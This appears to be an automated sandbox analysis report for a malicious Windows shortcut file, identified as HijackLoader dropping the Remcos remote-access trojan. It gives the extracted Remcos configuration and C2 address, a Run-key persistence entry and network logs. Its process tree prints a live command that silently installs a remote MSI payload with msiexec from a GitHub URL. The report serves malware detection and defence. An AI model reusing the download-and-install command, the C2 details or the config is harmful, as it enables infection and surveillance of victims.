hijackloader | 420a17938095a53a781bf0f48a8ba394c16a974a076794fc65cb78c0a89a563f

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
19/02/2025, 03:26 UTC

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General

Target

420a17938095a53a781bf0f48a8ba394c16a974a076794fc65cb78c0a89a563f.lnk
Size

1KB
MD5

63b4ae48bfc52db08f3ad1008acff185
SHA1

a2affc5d7b5211f97142c0def7ad9c430119e0b2
SHA256

420a17938095a53a781bf0f48a8ba394c16a974a076794fc65cb78c0a89a563f
SHA512

0c9fafdc316375aa4fd046a3ce485346c179d85092971707b1c61e57022a15e350a06f7f27faa3c9c110540f4161ed20b274f35b5cd4579df8d98f8387e85b4b

Score

10^/10

hijackloader remcos v2 discovery loader persistence rat

Malware Config

Extracted

Family

remcos

Botnet

185.157.162.126:1995

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
qsdazeazd-EL00KX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023c1e-37.dat	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4520	EHttpSrv.exe

Loads dropped DLL 3 IoCs

pid	Process
4520	EHttpSrv.exe
4520	EHttpSrv.exe
1408	EHttpSrv.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4064	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EHttpSrv = "\"C:\\Users\\Admin\\AppData\\Roaming\\IXXinstall\\EHttpSrv.exe\""	msiexec.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4480	msiexec.exe
4	4480	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4520 set thread context of 580	4520	EHttpSrv.exe	92
PID 580 set thread context of 1408	580	cmd.exe	95

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIB4E4.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB840.tmp	msiexec.exe
File created	C:\Windows\Installer\e58b7c5.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4480	msiexec.exe
4480	msiexec.exe
4480	msiexec.exe
4520	EHttpSrv.exe
580	cmd.exe
580	cmd.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4520	EHttpSrv.exe
580	cmd.exe
580	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4064	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4064	msiexec.exe
Token: SeSecurityPrivilege	4480	msiexec.exe
Token: SeCreateTokenPrivilege	4064	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4064	msiexec.exe
Token: SeLockMemoryPrivilege	4064	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4064	msiexec.exe
Token: SeMachineAccountPrivilege	4064	msiexec.exe
Token: SeTcbPrivilege	4064	msiexec.exe
Token: SeSecurityPrivilege	4064	msiexec.exe
Token: SeTakeOwnershipPrivilege	4064	msiexec.exe
Token: SeLoadDriverPrivilege	4064	msiexec.exe
Token: SeSystemProfilePrivilege	4064	msiexec.exe
Token: SeSystemtimePrivilege	4064	msiexec.exe
Token: SeProfSingleProcessPrivilege	4064	msiexec.exe
Token: SeIncBasePriorityPrivilege	4064	msiexec.exe
Token: SeCreatePagefilePrivilege	4064	msiexec.exe
Token: SeCreatePermanentPrivilege	4064	msiexec.exe
Token: SeBackupPrivilege	4064	msiexec.exe
Token: SeRestorePrivilege	4064	msiexec.exe
Token: SeShutdownPrivilege	4064	msiexec.exe
Token: SeDebugPrivilege	4064	msiexec.exe
Token: SeAuditPrivilege	4064	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4064	msiexec.exe
Token: SeChangeNotifyPrivilege	4064	msiexec.exe
Token: SeRemoteShutdownPrivilege	4064	msiexec.exe
Token: SeUndockPrivilege	4064	msiexec.exe
Token: SeSyncAgentPrivilege	4064	msiexec.exe
Token: SeEnableDelegationPrivilege	4064	msiexec.exe
Token: SeManageVolumePrivilege	4064	msiexec.exe
Token: SeImpersonatePrivilege	4064	msiexec.exe
Token: SeCreateGlobalPrivilege	4064	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe
Token: SeRestorePrivilege	4480	msiexec.exe
Token: SeTakeOwnershipPrivilege	4480	msiexec.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 5048 wrote to memory of 396	5048	cmd.exe	86
PID 5048 wrote to memory of 396	5048	cmd.exe	86
PID 396 wrote to memory of 4064	396	cmd.exe	87
PID 396 wrote to memory of 4064	396	cmd.exe	87
PID 4480 wrote to memory of 4520	4480	msiexec.exe	91
PID 4480 wrote to memory of 4520	4480	msiexec.exe	91
PID 4480 wrote to memory of 4520	4480	msiexec.exe	91
PID 4520 wrote to memory of 580	4520	EHttpSrv.exe	92
PID 4520 wrote to memory of 580	4520	EHttpSrv.exe	92
PID 4520 wrote to memory of 580	4520	EHttpSrv.exe	92
PID 4520 wrote to memory of 580	4520	EHttpSrv.exe	92
PID 580 wrote to memory of 1408	580	cmd.exe	95
PID 580 wrote to memory of 1408	580	cmd.exe	95
PID 580 wrote to memory of 1408	580	cmd.exe	95
PID 580 wrote to memory of 1408	580	cmd.exe	95
PID 580 wrote to memory of 1408	580	cmd.exe	95

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\420a17938095a53a781bf0f48a8ba394c16a974a076794fc65cb78c0a89a563f.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c #Verification660703 & msiexec /i https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi /qn
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:396
- - C:\Windows\system32\msiexec.exe
    msiexec /i https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi /qn
    3⤵
    - Use of msiexec (install) with remote resource
    - Suspicious use of AdjustPrivilegeToken
    PID:4064

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe
  "C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4520
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:580
  - - C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe
      C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1408

Network

DNS

github.com

msiexec.exe

Remote address:

8.8.8.8:53

Request

github.com

IN A

Response

github.com

IN A

20.26.156.215
GET

https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi

msiexec.exe

Remote address:

20.26.156.215:443

Request

GET /leinchchanceleinch/jik/raw/refs/heads/main/d.msi HTTP/2.0
host: github.com
accept: */*
user-agent: Windows Installer

Response

HTTP/2.0 302

server: GitHub.com
date: Wed, 19 Feb 2025 03:26:58 GMT
content-type: text/html; charset=utf-8
vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With
access-control-allow-origin:
location: https://raw.githubusercontent.com/leinchchanceleinch/jik/refs/heads/main/d.msi
cache-control: no-cache
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: no-referrer-when-downgrade
content-security-policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/
content-length: 0
x-github-request-id: E3CA:36865F:301572:3F30A2:67B54F81
DNS

raw.githubusercontent.com

msiexec.exe

Remote address:

8.8.8.8:53

Request

raw.githubusercontent.com

IN A

Response

raw.githubusercontent.com

IN A

185.199.109.133

raw.githubusercontent.com

IN A

185.199.108.133

raw.githubusercontent.com

IN A

185.199.111.133

raw.githubusercontent.com

IN A

185.199.110.133
GET

https://raw.githubusercontent.com/leinchchanceleinch/jik/refs/heads/main/d.msi

msiexec.exe

Remote address:

185.199.109.133:443

Request

GET /leinchchanceleinch/jik/refs/heads/main/d.msi HTTP/2.0
host: raw.githubusercontent.com
accept: */*
user-agent: Windows Installer

Response

HTTP/2.0 200

cache-control: max-age=300
content-security-policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
content-type: application/octet-stream
etag: "b7d280401ac36513e42c115aaf24920b95ef5fe0bbc3da004805cd38e18c0ff5"
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
x-frame-options: deny
x-xss-protection: 1; mode=block
x-github-request-id: 2EEF:3FCD02:62DFCC:83FD45:67B54F82
accept-ranges: bytes
date: Wed, 19 Feb 2025 03:26:58 GMT
via: 1.1 varnish
x-served-by: cache-lcy-eglc8600022-LCY
x-cache: MISS
x-cache-hits: 0
x-timer: S1739935619.707987,VS0,VE159
vary: Authorization,Accept-Encoding,Origin
access-control-allow-origin: *
cross-origin-resource-policy: cross-origin
x-fastly-request-id: c373586021e488d9ee0eef741e29150686259d78
expires: Wed, 19 Feb 2025 03:31:58 GMT
source-age: 0
content-length: 2990080
DNS

g.bing.com

Remote address:

8.8.8.8:53

Request

g.bing.com

IN A

Response

g.bing.com

IN CNAME

g-bing-com.ax-0001.ax-msedge.net

g-bing-com.ax-0001.ax-msedge.net

IN CNAME

ax-0001.ax-msedge.net

ax-0001.ax-msedge.net

IN A

150.171.27.10

ax-0001.ax-msedge.net

IN A

150.171.28.10
GET

https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid=

Remote address:

150.171.27.10:443

Request

GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)

Response

HTTP/2.0 204

cache-control: no-cache, must-revalidate
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MUID=17CF774324576CED054462DB25FB6D81; domain=.bing.com; expires=Mon, 16-Mar-2026 03:26:59 GMT; path=/; SameSite=None; Secure; Priority=High;
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 2A0AAA8C334D407AA67BAE6690D2B12C Ref B: FRA31EDGE0812 Ref C: 2025-02-19T03:26:59Z
date: Wed, 19 Feb 2025 03:26:58 GMT
GET

https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid=

Remote address:

150.171.27.10:443

Request

GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=17CF774324576CED054462DB25FB6D81

Response

HTTP/2.0 204

cache-control: no-cache, must-revalidate
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MSPTC=8Ld2ksezFQmZNF1epAsktZNT8N1e757CyHVctabtGSo; domain=.bing.com; expires=Mon, 16-Mar-2026 03:26:59 GMT; path=/; Partitioned; secure; SameSite=None
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 93C2B679476446D593B06D4F2BE5A0A1 Ref B: FRA31EDGE0812 Ref C: 2025-02-19T03:26:59Z
date: Wed, 19 Feb 2025 03:26:58 GMT
GET

https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid=

Remote address:

150.171.27.10:443

Request

GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=17CF774324576CED054462DB25FB6D81; MSPTC=8Ld2ksezFQmZNF1epAsktZNT8N1e757CyHVctabtGSo

Response

HTTP/2.0 204

cache-control: no-cache, must-revalidate
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 36D00B3052FE4A4E9E19D22F3AA4B23F Ref B: FRA31EDGE0812 Ref C: 2025-02-19T03:26:59Z
date: Wed, 19 Feb 2025 03:26:58 GMT

20.26.156.215:443

https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi

tls, http2

msiexec.exe

1.1kB
7.9kB
13
13

HTTP Request

GET https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi

HTTP Response

302
185.199.109.133:443

https://raw.githubusercontent.com/leinchchanceleinch/jik/refs/heads/main/d.msi

tls, http2

msiexec.exe

89.9kB
3.1MB
1670
2244

HTTP Request

GET https://raw.githubusercontent.com/leinchchanceleinch/jik/refs/heads/main/d.msi

HTTP Response

200
150.171.27.10:443

https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid=

tls, http2

2.0kB
9.4kB
22
19

HTTP Request

GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid=

HTTP Response

204

HTTP Request

GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid=

HTTP Response

204

HTTP Request

GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=7f8a3b3e46514b38b4b80ecf435cfecd&localId=w:ACAD5A90-4107-E38E-00E6-534476E14A0E&deviceId=6966575318233235&anid=

HTTP Response

204
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

356 B
92 B
4
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

510 B
144 B
4
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
132 B
3
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
132 B
3
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
132 B
3
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

350 B
132 B
4
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
